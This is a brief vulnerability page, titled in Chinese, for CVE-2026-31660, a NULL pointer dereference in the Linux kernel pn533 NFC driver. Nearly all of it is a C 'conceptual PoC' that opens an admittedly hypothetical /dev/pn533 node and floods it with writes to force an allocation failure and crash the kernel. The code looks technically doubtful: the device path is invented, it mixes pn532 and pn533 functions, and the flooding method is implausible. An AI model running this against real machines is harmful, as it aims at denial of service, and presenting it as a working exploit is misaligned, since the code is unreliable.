CVE-2026-31660 Linux内核pn533驱动空指针解引用漏洞

/* * Conceptual PoC for CVE-2026-31660 * This PoC simulates the interaction required to trigger the race condition. * Exploitation requires a local user with access to the NFC device. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <string.h> // Hypothetical device node for the PN533 NFC interface #define NFC_DEV "/dev/pn533" int main() { int fd; char buffer[1024]; ssize_t bytes_written; printf("[+] Attempting to open %s...\n", NFC_DEV); fd = open(NFC_DEV, O_RDWR); if (fd < 0) { perror("[-] Failed to open device"); printf("[-] Note: This requires the specific hardware to be present.\n"); return 1; } printf("[+] Device opened successfully.\n"); printf("[*] Flooding the device to stress memory allocation...\n"); // Loop to generate traffic and stress the receive buffer allocation logic while (1) { memset(buffer, 0xAA, sizeof(buffer)); bytes_written = write(fd, buffer, sizeof(buffer)); if (bytes_written < 0) { perror("[-] Write failed"); break; } // The goal is to trigger the alloc_skb() failure inside pn532_receive_buf() // which leads to the NULL pointer dereference on the next callback. usleep(1000); } close(fd); return 0; }